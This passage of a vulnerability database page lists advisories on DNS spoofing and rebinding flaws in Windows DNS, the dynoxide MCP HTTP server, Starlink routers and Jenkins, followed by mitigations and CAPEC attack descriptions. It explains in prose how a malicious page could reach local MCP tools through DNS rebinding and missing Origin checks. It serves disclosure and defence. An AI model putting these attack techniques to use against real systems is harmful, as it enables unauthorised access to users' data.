}
]
}
GHSA-CC8M-4XFJ-4H3J
Vulnerability from github – Published: 2023-06-14 00:30 – Updated: 2024-04-04 04:48{
"affected": [],
"aliases": [
"CVE-2023-32020"
],
"database_specific": {
"cwe_ids": [
"CWE-350"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-14T00:15:11Z",
"severity": "MODERATE"
},
"details": "Windows DNS Spoofing Vulnerability",
"id": "GHSA-cc8m-4xfj-4h3j",
"modified": "2024-04-04T04:48:57Z",
"published": "2023-06-14T00:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32020"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-32020"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FVH2-GM75-J4J7
Vulnerability from github – Published: 2026-05-18 17:00 – Updated: 2026-05-18 17:00Summary
dynoxide's MCP HTTP transport was vulnerable to DNS rebinding via its transitive rmcp dependency, plus a related cross-origin CSRF gap. A malicious web page could make the user's browser send requests to a local dynoxide mcp --http or dynoxide serve --mcp server with a non-loopback Host header, which the server would then process. Affects 0.9.3 to 0.9.12. The stdio transport (dynoxide mcp without --http, which is the default) is not affected.
Impact
If a user is running dynoxide mcp --http (or dynoxide serve --mcp) on their machine and then visits a malicious web page, the attacker's JavaScript can call any MCP tool exposed by the running dynoxide instance.
Reachable tools include reads (get_item, query, scan, batch_get_item, describe_table, list_tables) and writes (put_item, update_item, delete_item, create_table, batch_write_item).
Any data in tables that the local dynoxide instance has access to can be read, modified, or destroyed.
Patches
dynoxide 0.9.13 closes both the named CVE and a related cross-origin CSRF gap:
-
DNS rebinding (the named CVE).
rmcpis upgraded from 1.1.1 to 1.6.0. rmcp 1.4+ ships a default Host-header allowlist (["localhost", "127.0.0.1", "::1"]) which rejects requests carrying any other Host header with a 403. -
Defence in depth. Explicit
allowed_hostsandallowed_originslists are now set onStreamableHttpServerConfigdirectly. The Host allowlist protects against a future rmcp default flip. The Origin allowlist closes a related cross-origin CSRF gap that the Host check alone does not address: a malicious page couldfetchthe loopback endpoint withmode: 'no-cors', the Host header would match (it's the literal loopback address the browser is connecting to), but the Origin header would otherwise have been unchecked.
Native MCP clients that don't send an Origin header (Claude Code, Cursor, the dynoxide CLI) are unaffected by the Origin check and continue to work.
Workarounds
- Upgrade to dynoxide 0.9.13.
- If upgrade is not immediately possible: do not run the MCP HTTP transport. Run
dynoxide mcp(stdio, the default) instead ofdynoxide mcp --http, and don't pass--mcptodynoxide serve.
Resources
- Upstream rmcp advisory: GHSA-89vp-x53w-74fx
- Upstream CVE: CVE-2026-42559
- dynoxide release: v0.9.13
- MCP transport security guidance: https://modelcontextprotocol.io/specification/2025-11-25/basic/transports#security-warning
Credits
Vulnerability identified via GitHub Dependabot alert on the transitive rmcp dependency.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "dynoxide-rs"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.3"
},
{
"fixed": "0.9.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "dynoxide"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.3"
},
{
"fixed": "0.9.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-350",
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T17:00:25Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\ndynoxide\u0027s MCP HTTP transport was vulnerable to DNS rebinding via its transitive `rmcp` dependency, plus a related cross-origin CSRF gap. A malicious web page could make the user\u0027s browser send requests to a local `dynoxide mcp --http` or `dynoxide serve --mcp` server with a non-loopback `Host` header, which the server would then process. Affects 0.9.3 to 0.9.12. The stdio transport (`dynoxide mcp` without `--http`, which is the default) is not affected.\n\n## Impact\n\nIf a user is running `dynoxide mcp --http` (or `dynoxide serve --mcp`) on their machine and then visits a malicious web page, the attacker\u0027s JavaScript can call any MCP tool exposed by the running dynoxide instance.\n\nReachable tools include reads (`get_item`, `query`, `scan`, `batch_get_item`, `describe_table`, `list_tables`) and writes (`put_item`, `update_item`, `delete_item`, `create_table`, `batch_write_item`).\n\nAny data in tables that the local dynoxide instance has access to can be read, modified, or destroyed.\n\n## Patches\n\ndynoxide 0.9.13 closes both the named CVE and a related cross-origin CSRF gap:\n\n1. **DNS rebinding (the named CVE).** `rmcp` is upgraded from 1.1.1 to 1.6.0. rmcp 1.4+ ships a default Host-header allowlist (`[\"localhost\", \"127.0.0.1\", \"::1\"]`) which rejects requests carrying any other Host header with a 403.\n\n2. **Defence in depth.** Explicit `allowed_hosts` and `allowed_origins` lists are now set on `StreamableHttpServerConfig` directly. The Host allowlist protects against a future rmcp default flip. The Origin allowlist closes a related cross-origin CSRF gap that the Host check alone does not address: a malicious page could `fetch` the loopback endpoint with `mode: \u0027no-cors\u0027`, the Host header would match (it\u0027s the literal loopback address the browser is connecting to), but the Origin header would otherwise have been unchecked.\n\nNative MCP clients that don\u0027t send an Origin header (Claude Code, Cursor, the dynoxide CLI) are unaffected by the Origin check and continue to work.\n\n## Workarounds\n\n- Upgrade to dynoxide 0.9.13.\n- If upgrade is not immediately possible: do not run the MCP HTTP transport. Run `dynoxide mcp` (stdio, the default) instead of `dynoxide mcp --http`, and don\u0027t pass `--mcp` to `dynoxide serve`.\n\n## Resources\n\n- Upstream rmcp advisory: [GHSA-89vp-x53w-74fx](https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-89vp-x53w-74fx)\n- Upstream CVE: [CVE-2026-42559](https://www.cve.org/CVERecord?id=CVE-2026-42559)\n- dynoxide release: [v0.9.13](https://github.com/nubo-db/dynoxide/releases/tag/v0.9.13)\n- MCP transport security guidance: \u003chttps://modelcontextprotocol.io/specification/2025-11-25/basic/transports#security-warning\u003e\n\n## Credits\n\nVulnerability identified via GitHub Dependabot alert on the transitive rmcp dependency.",
"id": "GHSA-fvh2-gm75-j4j7",
"modified": "2026-05-18T17:00:25Z",
"published": "2026-05-18T17:00:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nubo-db/dynoxide/security/advisories/GHSA-fvh2-gm75-j4j7"
},
{
"type": "PACKAGE",
"url": "https://github.com/nubo-db/dynoxide"
},
{
"type": "WEB",
"url": "https://github.com/nubo-db/dynoxide/releases/tag/v0.9.13"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0140.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "dynoxide: DNS rebinding and cross-origin CSRF via MCP HTTP transport"
}
GHSA-H88C-Q974-86MM
Vulnerability from github – Published: 2024-04-05 06:30 – Updated: 2024-08-01 15:31SpaceX Starlink Wi-Fi router GEN 2 before 2023.53.0 and Starlink Dish before 07dd2798-ff15-4722-a9ee-de28928aed34 allow CSRF (e.g., for a reboot) via a DNS Rebinding attack.
{
"affected": [],
"aliases": [
"CVE-2023-52235"
],
"database_specific": {
"cwe_ids": [
"CWE-350"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-05T06:15:10Z",
"severity": "HIGH"
},
"details": "SpaceX Starlink Wi-Fi router GEN 2 before 2023.53.0 and Starlink Dish before 07dd2798-ff15-4722-a9ee-de28928aed34 allow CSRF (e.g., for a reboot) via a DNS Rebinding attack.",
"id": "GHSA-h88c-q974-86mm",
"modified": "2024-08-01T15:31:37Z",
"published": "2024-04-05T06:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52235"
},
{
"type": "WEB",
"url": "https://bugcrowd.com/disclosures/f529009b-90eb-4bf9-957d-6fe7ea890fa2/starlink-dishy-is-vulnerable-to-csrf-via-dns-rebinding"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PHHV-63FH-RRC8
Vulnerability from github – Published: 2026-03-18 18:31 – Updated: 2026-03-19 12:46Jenkins 2.442 through 2.554 (both inclusive), LTS 2.426.3 through LTS 2.541.2 (both inclusive) performs origin validation of requests made through the CLI WebSocket endpoint by computing the expected origin for comparison using the Host or X-Forwarded-Host HTTP request headers, making it vulnerable to DNS rebinding attacks that allow bypassing origin validation.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.442"
},
{
"fixed": "2.555"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33002"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-350"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T12:46:29Z",
"nvd_published_at": "2026-03-18T16:16:28Z",
"severity": "HIGH"
},
"details": "Jenkins 2.442 through 2.554 (both inclusive), LTS 2.426.3 through LTS 2.541.2 (both inclusive) performs origin validation of requests made through the CLI WebSocket endpoint by computing the expected origin for comparison using the Host or X-Forwarded-Host HTTP request headers, making it vulnerable to DNS rebinding attacks that allow bypassing origin validation.",
"id": "GHSA-phhv-63fh-rrc8",
"modified": "2026-03-19T12:46:30Z",
"published": "2026-03-18T18:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33002"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/348666da7136ef8270f88c0a7350562b0ba7f8ce"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/jenkins"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2026-03-18/#SECURITY-3674"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Jenkins has a DNS rebinding vulnerability in WebSocket CLI origin validation"
}
Mitigation
Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.
Mitigation MIT-42
Perform proper forward and reverse DNS lookups to detect DNS spoofing.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-275: DNS Rebinding
An adversary serves content whose IP address is resolved by a DNS server that the adversary controls. After initial contact by a web browser (or similar client), the adversary changes the IP address to which its name resolves, to an address within the target organization that is not publicly accessible. This allows the web browser to examine this internal address on behalf of the adversary.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-89: Pharming
A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.